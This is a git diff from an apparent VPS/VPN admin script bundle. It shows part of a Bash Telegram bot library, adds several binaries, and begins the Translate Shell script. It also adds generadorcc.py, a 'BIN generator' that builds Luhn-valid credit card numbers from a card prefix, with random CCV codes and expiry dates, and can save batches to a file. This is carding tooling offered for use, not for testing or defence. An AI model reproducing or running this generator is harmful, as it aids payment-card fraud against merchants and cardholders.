"$2" + __duration="$2" + shift 2 + ;; + --) + shift + break + ;; + esac + done + + [[ $__album ]] || MessageError API "$_ERR_PARAM_REQUIRED_" "[-a, --album]" + [[ $__media ]] || MessageError API "$_ERR_PARAM_REQUIRED_" "[-m, --media]" + + declare -n __album + + __album=${__album#[} + __album=${__album%]} + + [[ $__album ]] && __delm=',' + + __album+="$__delm{\"type\":\"video\"," + __album+="\"media\":\"$__media\"" + __album+="${__caption:+,\"caption\":\"$__caption\"}" + __album+="${__width:+,\"width\":$__width}" + __album+="${__height:+,\"height\":$__height}" + __album+="${__duration:+,\"duration\":$__duration}}" + + __album=${__album/#/[} + __album=${__album/%/]} + + return 0 + } + + ShellBot.sendMediaGroup() + { + local chat_id media disable_notification reply_to_message_id jq_obj + + local param=$(getopt --name "$FUNCNAME" \ + --options 'c:m:n:r:' \ + --longoptions 'chat_id:, + media:, + disable_notification:, + reply_to_message_id:' \ + -- "$@") + + eval set -- "$param" + + while : + do + case $1 in + -c|--chat_id) + chat_id="$2" + shift 2 + ;; + -m|--media) + media="$2" + shift 2 + ;; + -n|--disable_notification) + CheckArgType bool "$1" "$2" + disable_notification="$2" + shift 2 + ;; + -r|--reply_to_message_id) + CheckArgType int "$1" "$2" + reply_to_message_id="$2" + shift 2 + ;; + --) + shift + break + esac + done + + [[ $chat_id ]] || MessageError API "$_ERR_PARAM_REQUIRED_" "[-c, --chat_id]" + [[ $media ]] || MessageError API "$_ERR_PARAM_REQUIRED_" "[-m, --media]" + + jq_obj=$(curl $_CURL_OPT_ POST $_API_TELEGRAM_/${FUNCNAME#*.} ${chat_id:+-F chat_id="$chat_id"} \ + ${media:+-F media="$media"} \ + ${disable_notification:+-F disable_notification="$disable_notification"} \ + ${reply_to_message_id:+-F reply_to_message_id="$reply_to_message_id"}) + + # Retorno do método + JsonStatus $jq_obj && { + Json '.result' $jq_obj | GetObjValue + } || MessageError TG $jq_obj + + # Status + return $? + } + + ShellBot.getUpdates() + { + local total_keys offset limit timeout allowed_updates jq_obj + + # Define os parâmetros da função + local param=$(getopt --name "$FUNCNAME" \ + --options 'o:l:t:a:' \ + --longoptions 'offset:, + limit:, + timeout:, + allowed_updates:' \ + -- "$@") + + eval set -- "$param" + + while : + do + case $1 in + -o|--offset) + CheckArgType int "$1" "$2" + offset="$2" + shift 2 + ;; + -l|--limit) + CheckArgType int "$1" "$2" + limit="$2" + shift 2 + ;; + -t|--timeout) + CheckArgType int "$1" "$2" + timeout="$2" + shift 2 + ;; + -a|--allowed_updates) + allowed_updates="$2" + shift 2 + ;; + --) + # Se não houver mais parâmetros + shift + break + ;; + esac + done + + # Seta os parâmetros + jq_obj=$(curl $_CURL_OPT_ POST $_API_TELEGRAM_/${FUNCNAME#*.} ${offset:+-d offset="$offset"} \ + ${limit:+-d limit="$limit"} \ + ${timeout:+-d timeout="$timeout"} \ + ${allowed_updates:+-d allowed_updates="$allowed_updates"}) + + # Limpa as variáveis inicializadas. + unset ${_var_init_list_[@]} + unset _var_init_list_ + + declare -ag _var_init_list_ + + # Verifica se ocorreu erros durante a chamada do método + JsonStatus $jq_obj && { + + # Se o modo flush estiver ativado, retorna uma coleção de objetos Json contendo as atualizações. + ((_FLUSH_OFFSET_)) && { echo "$jq_obj"; return 0; } + + local key key_list obj obj_cur obj_type var_name i + + # Total de atualizações + total_keys=$(Json '.result|length' $jq_obj) + + if [[ $total_keys -gt 0 ]]; then + + # Modo monitor + ((_BOT_MONITOR_)) && cat << _eof +=================== MONITOR =================== +Data: $(date '+%d/%m/%Y %T') +Script: $_BOT_SCRIPT_ +Bot (nome): $(ShellBot.first_name) +Bot (usuario): $(ShellBot.username) +Bot (id): $(ShellBot.id) +_eof + + # Salva e fecha o descritor de erro + exec 5<&2 + exec 2<&- + + for index in $(seq 0 $((total_keys-1))) + do + # Imprime a mensagem em fila + ((_BOT_MONITOR_)) && cat << _eof +----------------------------------------------- +Mensagem: $((index + 1)) +----------------------------------------------- +_eof + # Insere o primeiro elemento da consulta. + unset key_list + key_list[0]=".result[$index]" + + # Lê recursivamente todos os objetos. + while [[ ${key_list[@]} ]] + do + i=0 + + # Lista objetos. + for key in ${key_list[@]} + do + # Limpa o buffer + unset key_list + + # Lê as chaves do atual objeto + for obj in $(Json "$key|keys[]" $jq_obj) + do + # Se o tipo da chave for string, number ou boolean, imprime o valor armazenado. + # Se for object salva o nível atual em key_list. Caso contrário, lê o próximo + # elemento da lista. + obj_cur="$key.$obj" + obj_type=$(Json "$obj_cur|type" $jq_obj) + + if [[ $obj_type =~ (string|number|boolean) ]]; then + + # Define a nomenclatura válida para a variável que irá armazenar o valor da chave. + var_name=${obj_cur#.result\[$index\].} + var_name=${var_name//[]/} + var_name=${var_name//./_} + + # Cria um ponteiro para a variável armazenada em 'var_name'. + declare -g $var_name + declare -n byref=$var_name + + [[ ${byref[$index]} ]] || { + + # Atribui o valor de 'var_name', se a mesma não foi inicializada. + byref[$index]="$(Json "$obj_cur" $jq_obj)" + + # Exibe a inicialização das variáveis. + ((_BOT_MONITOR_)) && sed ':a;N;s/\n/ /;ta' <<< "$var_name = '${byref[$index]}'" + } + + # Remove ponteiro + declare +n byref + unset byref + + # Anexa a variável a lista caso não exista. + if ! grep -qw $var_name <<< ${_var_init_list_[@]}; then + _var_init_list_+=($var_name); fi + + elif [[ $obj_type = object ]]; then + key_list[$((i++))]=$obj_cur + elif [[ $obj_type = array ]]; then + key_list[$((i++))]=$obj_cur[] + fi + done + done + done + done + + # restaura o descritor de erro + exec 2<&5 + fi + + } || MessageError TG $jq_obj + + # Status + return $? + } + + # Bot métodos (somente leitura) + declare -rf ShellBot.token \ + ShellBot.id \ + ShellBot.username \ + ShellBot.first_name \ + ShellBot.regHandleFunction \ + ShellBot.watchHandle \ + ShellBot.ListUpdates \ + ShellBot.TotalUpdates \ + ShellBot.OffsetEnd \ + ShellBot.OffsetNext \ + ShellBot.getMe \ + ShellBot.getWebhookInfo \ + ShellBot.deleteWebhook \ + ShellBot.setWebhook \ + ShellBot.init \ + ShellBot.ReplyKeyboardMarkup \ + ShellBot.sendMessage \ + ShellBot.forwardMessage \ + ShellBot.sendPhoto \ + ShellBot.sendAudio \ + ShellBot.sendDocument \ + ShellBot.sendSticker \ + ShellBot.sendVideo \ + ShellBot.sendVideoNote \ + ShellBot.sendVoice \ + ShellBot.sendLocation \ + ShellBot.sendVenue \ + ShellBot.sendContact \ + ShellBot.sendChatAction \ + ShellBot.getUserProfilePhotos \ + ShellBot.getFile \ + ShellBot.kickChatMember \ + ShellBot.leaveChat \ + ShellBot.unbanChatMember \ + ShellBot.getChat \ + ShellBot.getChatAdministrators \ + ShellBot.getChatMembersCount \ + ShellBot.getChatMember \ + ShellBot.editMessageText \ + ShellBot.editMessageCaption \ + ShellBot.editMessageReplyMarkup \ + ShellBot.InlineKeyboardMarkup \ + ShellBot.InlineKeyboardButton \ + ShellBot.answerCallbackQuery \ + ShellBot.deleteMessage \ + ShellBot.exportChatInviteLink \ + ShellBot.setChatPhoto \ + ShellBot.deleteChatPhoto \ + ShellBot.setChatTitle \ + ShellBot.setChatDescription \ + ShellBot.pinChatMessage \ + ShellBot.unpinChatMessage \ + ShellBot.promoteChatMember \ + ShellBot.restrictChatMember \ + ShellBot.getStickerSet \ + ShellBot.uploadStickerFile \ + ShellBot.createNewStickerSet \ + ShellBot.addStickerToSet \ + ShellBot.setStickerPositionInSet \ + ShellBot.deleteStickerFromSet \ + ShellBot.stickerMaskPosition \ + ShellBot.downloadFile \ + ShellBot.editMessageLiveLocation \ + ShellBot.stopMessageLiveLocation \ + ShellBot.setChatStickerSet \ + ShellBot.deleteChatStickerSet \ + ShellBot.sendMediaGroup \ + ShellBot.inputMediaPhoto \ + ShellBot.inputMediaVideo \ + ShellBot.getUpdates + + # Retorna objetos + echo "$(ShellBot.id)|$(ShellBot.username)|$(ShellBot.first_name)|$(((_FLUSH_OFFSET_)) && FlushOffset)" + + # status + return 0 +} + +# Funções (somente leitura) +declare -rf MessageError \ + Json \ + JsonStatus \ + GetObjValue \ + FlushOffset \ + CreateUnitService \ + CheckArgType diff --git a/ADM-VENTAS-LEALDROID/Install/backsocz b/ADM-VENTAS-LEALDROID/Install/backsocz new file mode 100644 index 0000000..b899ad9 Binary files /dev/null and b/ADM-VENTAS-LEALDROID/Install/backsocz differ diff --git a/ADM-VENTAS-LEALDROID/Install/badvpn-udpgw b/ADM-VENTAS-LEALDROID/Install/badvpn-udpgw new file mode 100644 index 0000000..f40ca51 Binary files /dev/null and b/ADM-VENTAS-LEALDROID/Install/badvpn-udpgw differ diff --git a/ADM-VENTAS-LEALDROID/Install/fail2ban-0.9.4.tar.gz b/ADM-VENTAS-LEALDROID/Install/fail2ban-0.9.4.tar.gz new file mode 100644 index 0000000..d3b5ba7 Binary files /dev/null and b/ADM-VENTAS-LEALDROID/Install/fail2ban-0.9.4.tar.gz differ diff --git a/ADM-VENTAS-LEALDROID/Install/generadorcc.py b/ADM-VENTAS-LEALDROID/Install/generadorcc.py new file mode 100644 index 0000000..dc0fda2 --- /dev/null +++ b/ADM-VENTAS-LEALDROID/Install/generadorcc.py @@ -0,0 +1,196 @@ +#!/usr/bin/env python +#-*- coding: iso-8859-1 -*-. +import getopt +import time +import os +import sys +import datetime +from random import randint + +version = "1.0.0" +#Mensaje +#os.system ("clear") +def usage(): + print("generadorcc.py version:{}".format(version)) + print("") + print("\033[1;31m +------------------------------+") + print(" +\033[1;32m GENERADOR DE BIN RS \033[1;31m+") + print(" +------------------------------+") + print("") + print("+---------------+") + print("+\033[1;32m Metodo de uso\033[1;31m +") + print("+---------------+") + print("") + print("\033[1;36m python2 generadorcc.py -b [Opciones de uso]") + print(" python2 generadorcc.py -h Mensaje de ayuda") + print("\033[1;31m") + print("+-----------------+") + print("+\033[;32m Opciones de uso\033[1;31m +") + print("+-----------------+") + print("") + print("\033[1;36m -b, -bin Formato de bin") + print(" -u, -cantidad Cantidad de tarjetas a generar") + print(" -c, -ccv Genera ccv al azar") + print(" -d, -date Genera fechas al azar") + print(" -g, -guardar Guarda las tarjetas en un archivo") + print("\033[1;31m") + print("+----------------+") + print("+\033[;32m Ejemplo de uso\033[1;31m +") + print("+----------------+") + print("") + print("\033[1;33m CANTIDAD\033[0m") + print("") + print("\033[1;36m python2 generadorcc.py -b 123456xxxxxxxxxx -u 40 -d -c ") + print("") + print("\033[0m") + +#Arg parser +def parseOptions(argv): + bin_format = "" + saveopt = False + limit = 10 + ccv = False + date = False + check = False + + try: + opts, args = getopt.getopt(argv, "h:b:u:gcd",["help", "bin", "guardar", "cantidad", "ccv", "date"]) + for opt, arg in opts: + if opt in ("-h"): + usage() + sys.exit() + elif opt in ("-b", "-bin"): + bin_format = arg + elif opt in ("-g", "-guardar"): + saveopt = True + elif opt in ("-u", "-cantidad"): + limit = arg + elif opt in ("-c", "-ccv"): + ccv = True + elif opt in ("-d", "-date"): + date = True + + return(bin_format, saveopt, limit, ccv, date) + + except getopt.GetoptError: + usage() + sys.exit(2) + +#CHECKER BASADO EN ALGORITMO LUHN +def cardLuhnChecksumIsValid(card_number): + """ checks to make sure that the card passes a luhn mod-10 checksum """ + + sum = 0 + num_digits = len(card_number) + oddeven = num_digits & 1 + + for count in range(0, num_digits): + digit = int(card_number[count]) + + if not (( count & 1 ) ^ oddeven ): + digit = digit * 2 + if digit > 9: + digit = digit - 9 + + sum = sum + digit + + return ( (sum % 10) == 0 ) + +#GENERA UNA BASE DE BIN XXXXXXXXXXXXXXXX +def ccgen(bin_format): + out_cc = "" + if len(bin_format) == 16: + #Iteration over the bin + for i in range(15): + if bin_format[i] in ("0", "1", "2", "3", "4", "5", "6", "7", "8", "9"): + out_cc = out_cc + bin_format[i] + continue + elif bin_format[i] in ("x"): + out_cc = out_cc + str(randint(0,9)) + else: + print("\ERROR: {}\n".format(bin_format)) + print("ERROR: bin 16 digitos\n") + sys.exit() + + #Generate checksum (last digit) -- IMPLICIT CHECK + for i in range(10): + checksum_check = out_cc + checksum_check = checksum_check + str(i) + + if cardLuhnChecksumIsValid(checksum_check): + out_cc = checksum_check + break + else: + checksum_check = out_cc + + else: + print("\033[1;32m") + print("ERROR: bin 16 digitos\n") + sys.exit() + + return(out_cc) + +#Write on a file that takes a list for the argument +def save(generated): + now = datetime.datetime.now() + file_name = "cc-gen_output_{0}.txt".format(str(now.day) + str(now.hour) + str(now.minute) + str(now.second)) + f = open(file_name, 'w') + for line in generated: + f.write(line + "\n") + f.close + +#Random ccv gen +def ccvgen(): + ccv = "" + num = randint(10,999) + + if num < 100: + ccv = "0" + str(num) + else: + ccv = str(num) + + return(ccv) + +#Random exp date +def dategen(): + now = datetime.datetime.now() + date = "" + month = str(randint(1, 12)) + current_year = str(now.year) + year = str(randint(int(current_year[-2:]) + 1, int(current_year[-2:]) + 6)) + date = month + "|" + year + + return date + +#The main function +def main(argv): + bin_list = [] + #get arg data + (bin_format, saveopt, limit, ccv, date) = parseOptions(argv) + if bin_format is not "": + for i in range(int(limit)): + if ccv and date: + bin_list.append(ccgen(bin_format) + "|" + ccvgen() + "|" + dategen()) + print(bin_list[i]) + elif ccv and not date: + bin_list.append(ccgen(bin_format) + "|" + ccvgen()) + print(bin_list[i]) + elif date and not ccv: + bin_list.append(ccgen(bin_format) + "|" + dategen()) + print(bin_list[i]) + elif not date and not ccv: + bin_list.append(ccgen(bin_format)) + print(bin_list[i]) + + if not bin_list: + print("\nERROR: no valid bin\n") + else: + print("\nSUCESS: generated ") + if saveopt: + save(bin_list) + else: + usage() + sys.exit() + +if __name__ == '__main__': + main(sys.argv[1:]) diff --git a/ADM-VENTAS-LEALDROID/Install/trans b/ADM-VENTAS-LEALDROID/Install/trans new file mode 100644 index 0000000..9392c55 --- /dev/null +++ b/ADM-VENTAS-LEALDROID/Install/trans @@ -0,0 +1,5655 @@ +#!/usr/bin/env bash +exec 2>/dev/null +export TRANS_ENTRY="$0" +if [[ ! $LANG =~ (UTF|utf)-?8$ ]]; then export LANG=en_US.UTF-8; fi +read -r -d '' TRANS_PROGRAM << 'EOF' +BEGIN { +Name = "Translate Shell" +Description = "Command-line translator using Google Translate, Bing Translator, Yandex.Translate, etc." +Version = "0.9.6.7" +ReleaseDate = "2018-03-17" +Command = "trans" +EntryPoint = "translate.awk" +EntryScript = "translate" +} +function initConst() { +NULLSTR = "" +TRUE = 1 +STDIN = "/dev/stdin" +STDOUT = "/dev/stdout" +STDERR = "/dev/stderr" +SUPOUT = " > /dev/null " +SUPERR = " 2> /dev/null " +PIPE = " | " +} +function anything(array, +i) { +for (i in array) +if (array[i]) return 1 +return 0 +} +function exists(value) { +if (isarray(value)) +return anything(value) +else +return value ? 1 : 0 +} +function belongsTo(element, array, +i) { +for (i in array) +if (element == array[i]) return element +return NULLSTR +} +function identical(x, y, +i) { +if (!isarray(x) && !isarray(y)) +return x == y +else if (isarray(x) && isarray(y)) { +if (length(x) != length(y)) return 0 +for (i in x) +if (!identical(x[i], y[i])) return 0 +return 1 +} else +return 0 +} +function append(array, element) { +array[anything(array) ? length(array) : 0] = element +} +function compareByIndexFields(i1, v1, i2, v2, +t1, t2, tl, j) { +split(i1, t1, SUBSEP) +split(i2, t2, SUBSEP) +tl = length(t1) < length(t2) ? length(t1) : length(t2) +for (j = 1; j <= tl; j++) { +if (t1[j] < t2[j]) +return -1 +else if (t1[j] > t2[j]) +return 1 +} +return 0 +} +function isnum(string) { +return string == string + 0 +} +function startsWithAny(string, substrings, +i) { +for (i in substrings) +if (index(string, substrings[i]) == 1) return substrings[i] +return NULLSTR +} +function matchesAny(string, patterns, +i) { +for (i in patterns) +if (string ~ "^" patterns[i]) return patterns[i] +return NULLSTR +} +function replicate(string, len, +i, temp) { +temp = NULLSTR +for (i = 0; i < len; i++) +temp = temp string +return temp +} +function reverse(string, +i, temp) { +temp = NULLSTR +for (i = length(string); i > 0; i--) +temp = temp substr(string, i, 1); +return temp +} +function join(array, separator, sortedIn, preserveNull, +i, j, saveSortedIn, temp) { +if (!sortedIn) +sortedIn = "compareByIndexFields" +temp = NULLSTR +j = 0 +if (isarray(array)) { +saveSortedIn = PROCINFO["sorted_in"] +PROCINFO["sorted_in"] = sortedIn +for (i in array) +if (preserveNull || array[i] != NULLSTR) +temp = j++ ? temp separator array[i] : array[i] +PROCINFO["sorted_in"] = saveSortedIn +} else +temp = array +return temp +} +function explode(string, array) { +split(string, array, NULLSTR) +} +function escapeChar(char) { +switch (char) { +case "b": +return "\b" +case "f": +return "\f" +case "n": +return "\n" +case "r": +return "\r" +case "t": +return "\t" +case "v": +return "\v" +case "u0026": +return "&" +case "u003c": +return "<" +case "u003e": +return ">" +default: +return char +} +} +function literal(string, +c, cc, escaping, i, s) { +if (string !~ /^".*"$/) +return string +explode(string, s) +string = NULLSTR +escaping = 0 +for (i = 2; i < length(s); i++) { +c = s[i] +if (escaping) { +if (cc) { +cc = cc c +if (length(cc) == 5) { +string = string escapeChar(cc) +escaping = 0 +cc = NULLSTR +} +} else if (c == "u") { +cc = c +} else { +string = string escapeChar(c) +escaping = 0 +} +} else { +if (c == "\\") +escaping = 1 +else +string = string c +} +} +return string +} +function escape(string) { +gsub(/\\/, "\\\\", string) +gsub(/"/, "\\\"", string) +return string +} +function unescape(string) { +gsub(/\\\"/, "\"", string) +gsub(/\\\\/, "\\", string) +return string +} +function parameterize(string, quotationMark) { +if (!quotationMark) +quotationMark = "'" +if (quotationMark == "'") { +gsub(/'/, "'\\''", string) +return "'" string "'" +} else { +return "\"" escape(string) "\"" +} +} +function unparameterize(string, temp) { +match(string, /^'(.*)'$/, temp) +if (temp[0]) { +string = temp[1] +gsub(/'\\''/, "'", string) +return string +} +match(string, /^"(.*)"$/, temp) +if (temp[0]) { +string = temp[1] +return unescape(string) +} +return string +} +function toString(value, inline, heredoc, valOnly, numSub, level, sortedIn, +i, items, j, k, p, saveSortedIn, temp, v) { +if (!level) level = 0 +if (!sortedIn) +sortedIn = "compareByIndexFields" +if (isarray(value)) { +saveSortedIn = PROCINFO["sorted_in"] +PROCINFO["sorted_in"] = sortedIn +p = 0 +for (i in value) { +split(i, j, SUBSEP); k = join(j, ",") +if (!numSub || !isnum(k)) k = parameterize(k, "\"") +v = toString(value[i], inline, heredoc, valOnly, numSub, level + 1, sortedIn) +if (!isarray(value[i])) v = parameterize(v, "\"") +if (valOnly) +items[p++] = inline ? v : (replicate("\t", level) v) +else +items[p++] = inline ? (k ": " v) : +(replicate("\t", level) k "\t" v) +} +PROCINFO["sorted_in"] = saveSortedIn +temp = inline ? join(items, ", ") : +("\n" join(items, "\n") "\n" replicate("\t", level)) +temp = valOnly ? ("[" temp "]") : ("{" temp "}") +return temp +} else { +if (heredoc) +return "'''\n" value "\n'''" +else +return value +} +} +function squeeze(line, preserveIndent) { +if (!preserveIndent) +gsub(/^[[:space:]]+/, NULLSTR, line) +gsub(/^[[:space:]]*#.*$/, NULLSTR, line) +gsub(/#[^"/]*$/, NULLSTR, line) +gsub(/[[:space:]]+$/, NULLSTR, line) +gsub(/[[:space:]]+\\$/, "\\", line) +return line +} +function yn(string) { +return (tolower(string) ~ /^([0fn]|off)/) ? 0 : 1 +} +function initAnsiCode() { +if (ENVIRON["TERM"] == "dumb") return +AnsiCode["reset"] = AnsiCode[0] = "\33[0m" +AnsiCode["bold"] = "\33[1m" +AnsiCode["underline"] = "\33[4m" +AnsiCode["negative"] = "\33[7m" +AnsiCode["no bold"] = "\33[22m" +AnsiCode["no underline"] = "\33[24m" +AnsiCode["positive"] = "\33[27m" +AnsiCode["black"] = "\33[30m" +AnsiCode["red"] = "\33[31m" +AnsiCode["green"] = "\33[32m" +AnsiCode["yellow"] = "\33[33m" +AnsiCode["blue"] = "\33[34m" +AnsiCode["magenta"] = "\33[35m" +AnsiCode["cyan"] = "\33[36m" +AnsiCode["gray"] = "\33[37m" +AnsiCode["default"] = "\33[39m" +AnsiCode["dark gray"] = "\33[90m" +AnsiCode["light red"] = "\33[91m" +AnsiCode["light green"] = "\33[92m" +AnsiCode["light yellow"] = "\33[93m" +AnsiCode["light blue"] = "\33[94m" +AnsiCode["light magenta"] = "\33[95m" +AnsiCode["light cyan"] = "\33[96m" +AnsiCode["white"] = "\33[97m" +} +function ansi(code, text) { +switch (code) { +case "bold": +return AnsiCode[code] text AnsiCode["no bold"] +case "underline": +return AnsiCode[code] text AnsiCode["no underline"] +case "negative": +return AnsiCode[code] text AnsiCode["positive"] +default: +return AnsiCode[code] text AnsiCode[0] +} +} +function w(text) { +print ansi("yellow", text) > STDERR +} +function e(text) { +print ansi("bold", ansi("yellow", text)) > STDERR +} +function wtf(text) { +print ansi("bold", ansi("red", text)) > STDERR +} +function d(text) { +print ansi("gray", text) > STDERR +} +function da(value, name, inline, heredoc, valOnly, numSub, sortedIn, +i, j, saveSortedIn) { +if (!name) +name = "_" +if (!sortedIn) +sortedIn = "compareByIndexFields" +d(name " = " toString(value, inline, heredoc, valOnly, numSub, 0, sortedIn)) +} +function assert(x, message) { +if (!message) +message = "[ERROR] Assertion failed." +if (x) +return x +else +e(message) +} +function initUrlEncoding() { +UrlEncoding["\t"] = "%09" +UrlEncoding["\n"] = "%0A" +UrlEncoding[" "] = "%20" +UrlEncoding["!"] = "%21" +UrlEncoding["\""] = "%22" +UrlEncoding["#"] = "%23" +UrlEncoding["$"] = "%24" +UrlEncoding["%"] = "%25" +UrlEncoding["&"] = "%26" +UrlEncoding["'"] = "%27" +UrlEncoding["("] = "%28" +UrlEncoding[")"] = "%29" +UrlEncoding["*"] = "%2A" +UrlEncoding["+"] = "%2B" +UrlEncoding[","] = "%2C" +UrlEncoding["-"] = "%2D" +UrlEncoding["."] = "%2E" +UrlEncoding["/"] = "%2F" +UrlEncoding[":"] = "%3A" +UrlEncoding[";"] = "%3B" +UrlEncoding["<"] = "%3C" +UrlEncoding["="] = "%3D" +UrlEncoding[">"] = "%3E" +UrlEncoding["?"] = "%3F" +UrlEncoding["@"] = "%40" +UrlEncoding["["] = "%5B" +UrlEncoding["\\"] = "%5C" +UrlEncoding["]"] = "%5D" +UrlEncoding["^"] = "%5E" +UrlEncoding["_"] = "%5F" +UrlEncoding["`"] = "%60" +UrlEncoding["{"] = "%7B" +UrlEncoding["|"] = "%7C" +UrlEncoding["}"] = "%7D" +UrlEncoding["~"] = "%7E" +} +function quote(string, i, r, s) { +r = NULLSTR +explode(string, s) +for (i = 1; i <= length(s); i++) +r = r (s[i] in UrlEncoding ? UrlEncoding[s[i]] : s[i]) +return r +} +function unquote(string, i, k, r, s, temp) { +r = NULLSTR +explode(string, s) +temp = NULLSTR +for (i = 1; i <= length(s); i++) +if (temp) { +temp = temp s[i] +if (length(temp) > 2) { +for (k in UrlEncoding) +if (temp == UrlEncoding[k]) { +r = r k +temp = NULLSTR +break +} +if (temp) { +r = r temp +temp = NULLSTR +} +} +} else { +if (s[i] != "%") +r = r s[i] +else +temp = s[i] +} +if (temp) +r = r temp +return r +} +function initUriSchemes() { +UriSchemes[0] = "file://" +UriSchemes[1] = "http://" +UriSchemes[2] = "https://" +} +function readFrom(file, line, text) { +if (!file) file = "/dev/stdin" +text = NULLSTR +while (getline line < file) +text = (text ? text "\n" : NULLSTR) line +return text +} +function writeTo(text, file) { +if (!file) file = "/dev/stdout" +print text > file +} +function getOutput(command, content, line) { +content = NULLSTR +while ((command |& getline line) > 0) +content = (content ? content "\n" : NULLSTR) line +return content +} +function fileExists(file) { +return !system("test -f " parameterize(file)) +} +function dirExists(file) { +return !system("test -d " parameterize(file)) +} +function detectProgram(prog, arg, returnOutput, temp) { +if (returnOutput) { +prog " " arg SUPERR | getline temp +return temp +} else +return (prog " " arg SUPERR | getline) ? prog : NULLSTR +} +function getGitHead( line, group) { +if (fileExists(".git/HEAD")) { +getline line < ".git/HEAD" +match(line, /^ref: (.*)$/, group) +if (fileExists(".git/" group[1])) { +getline line < (".git/" group[1]) +return substr(line, 1, 7) +} else +return NULLSTR +} else +return NULLSTR +} +BEGIN { +initConst() +initAnsiCode() +initUrlEncoding() +initUriSchemes() +} +function initGawk( group) { +Gawk = "gawk" +GawkVersion = PROCINFO["version"] +split(PROCINFO["version"], group, ".") +if (group[1] < 4) { +e("[ERROR] Oops! Your gawk (version " GawkVersion ") "\ +"appears to be too old.\n"\ +" You need at least gawk 4.0.0 to run this program.") +exit 1 +} +} +function initBiDi() { +FriBidi = detectProgram("fribidi", "--version", 1) +BiDiNoPad = FriBidi ? "fribidi --nopad" : "rev" SUPERR +BiDi = FriBidi ? "fribidi --width %s" : +"rev" SUPERR "| sed \"s/'/\\\\\\'/\" | xargs printf '%%s '" +} +function initRlwrap() { +Rlwrap = detectProgram("rlwrap", "--version") +} +function initEmacs() { +Emacs = detectProgram("emacs", "--version") +} +function initCurl() { +Curl = detectProgram("curl", "--version") +} +function l(value, name, inline, heredoc, valOnly, numSub, sortedIn) { +if (Option["debug"]) { +if (name) +da(value, name, inline, heredoc, valOnly, numSub, sortedIn) +else +d(value) +} +} +function m(string) { +if (Option["debug"]) +return ansi("cyan", string) RS +} +function newerVersion(ver1, ver2, i, group1, group2) { +split(ver1, group1, ".") +split(ver2, group2, ".") +for (i = 1; i <= 4; i++) { +if (group1[i] + 0 > group2[i] + 0) +return 1 +else if (group1[i] + 0 < group2[i] + 0) +return 0 +} +return 0 +} +function rlwrapMe( i, command) { +initRlwrap() +if (!Rlwrap) { +l(">> not found: rlwrap") +return 1 +} +if (ENVIRON["TRANS_ENTRY"]) { +command = Rlwrap " " ENVIRON["TRANS_ENTRY"] " "\ +parameterize("-no-rlwrap") +} else if (fileExists(ENVIRON["TRANS_DIR"] "/" EntryScript)) { +command = Rlwrap " sh "\ +parameterize(ENVIRON["TRANS_DIR"] "/" EntryScript)\ +" - " parameterize("-no-rlwrap") +} else { +l(">> not found: $TRANS_ENTRY or EntryPoint") +return 1 +} +for (i = 1; i < length(ARGV); i++) +if (ARGV[i]) +command = command " " parameterize(ARGV[i]) +l(">> forking: " command) +if (!system(command)) { +l(">> process exited with code 0") +exit ExitCode +} else { +l(">> process exited with non-zero return code") +return 1 +} +} +function emacsMe( i, params, el, command) { +initEmacs() +if (!Emacs) { +l(">> not found: emacs") +return 1 +} +params = "" +for (i = 1; i < length(ARGV); i++) +if (ARGV[i]) +params = params " " parameterize(ARGV[i], "\"") +if (ENVIRON["TRANS_ENTRY"]) { +el = "(progn (setq explicit-shell-file-name \"" ENVIRON["TRANS_ENTRY"] "\") "\ +"(setq explicit-" Command "-args '(\"-I\" \"-no-rlwrap\"" params ")) "\ +"(command-execute 'shell) (rename-buffer \"" Name "\"))" +} else if (fileExists(ENVIRON["TRANS_DIR"] "/" EntryScript)) { +el = "(progn (setq explicit-shell-file-name \"" "sh" "\") "\ +"(setq explicit-" "sh" "-args '(\"" ENVIRON["TRANS_DIR"] "/" EntryScript "\" \"-I\" \"-no-rlwrap\"" params ")) "\ +"(command-execute 'shell) (rename-buffer \"" Name "\"))" +} else { +l(">> not found: $TRANS_ENTRY or EntryPoint") +return 1 +} +command = Emacs " --eval " parameterize(el) +l(">> forking: " command) +if (!system(command)) { +l(">> process exited with code 0") +exit ExitCode +} else { +l(">> process exited with non-zero return code") +return 1 +} +} +function curl(url, output, command, content, line) { +initCurl() +if (!Curl) { +l(">> not found: curl") +w("[WARNING] curl is not found.") +return NULLSTR +} +command = Curl " --location --silent" +if (Option["proxy"]) +command = command " --proxy " parameterize(Option["proxy"]) +if (Option["user-agent"]) +command = command " --user-agent " parameterize(Option["user-agent"]) +command = command " " parameterize(url) +if (output) { +command = command " --output " parameterize(output) +system(command) +return NULLSTR +} +content = NULLSTR +while ((command |& getline line) > 0) +content = (content ? content "\n" : NULLSTR) line +return content +} +function curlPost(url, data, output, command, content, line) { +initCurl() +if (!Curl) { +l(">> not found: curl") +w("[WARNING] curl is not found.") +return NULLSTR +} +command = Curl " --location --silent" +if (Option["proxy"]) +command = command " --proxy " parameterize(Option["proxy"]) +if (Option["user-agent"]) +command = command " --user-agent " parameterize(Option["user-agent"]) +command = command " --request POST --data " parameterize(data) +command = command " " parameterize(url) +if (output) { +command = command " --output " parameterize(output) +system(command) +return NULLSTR +} +content = NULLSTR +while ((command |& getline line) > 0) +content = (content ? content "\n" : NULLSTR) line +return content +} +function dump(text, group, command, temp) { +command = "hexdump" " -v -e'1/1 \"%03u\" \" \"'" +("echo " parameterize(text) PIPE command) | getline temp +split(temp, group, " ") +return length(group) - 1 +} +function base64(text, command, temp) { +command = "base64" +("echo -n " parameterize(text) PIPE command) | getline temp +return temp +} +function uprintf(text, command, temp) { +command = "echo -en " parameterize(text) +("bash -c " parameterize(command, "\"")) | getline temp +return temp +} +function initLocale( i) { +Locale["af"]["name"] = "Afrikaans" +Locale["af"]["endonym"] = "Afrikaans" +Locale["af"]["translations-of"] = "Vertalings van %s" +Locale["af"]["definitions-of"] = "Definisies van %s" +Locale["af"]["synonyms"] = "Sinonieme" +Locale["af"]["examples"] = "Voorbeelde" +Locale["af"]["see-also"] = "Sien ook" +Locale["af"]["family"] = "Indo-European" +Locale["af"]["iso"] = "afr" +Locale["af"]["glotto"] = "afri1274" +Locale["af"]["script"] = "Latn" +Locale["sq"]["name"] = "Albanian" +Locale["sq"]["endonym"] = "Shqip" +Locale["sq"]["translations-of"] = "Përkthimet e %s" +Locale["sq"]["definitions-of"] = "Përkufizime të %s" +Locale["sq"]["synonyms"] = "Sinonime" +Locale["sq"]["examples"] = "Shembuj" +Locale["sq"]["see-also"] = "Shihni gjithashtu" +Locale["sq"]["family"] = "Indo-European" +Locale["sq"]["iso"] = "sqi" +Locale["sq"]["glotto"] = "alba1267" +Locale["sq"]["script"] = "Latn" +Locale["am"]["name"] = "Amharic" 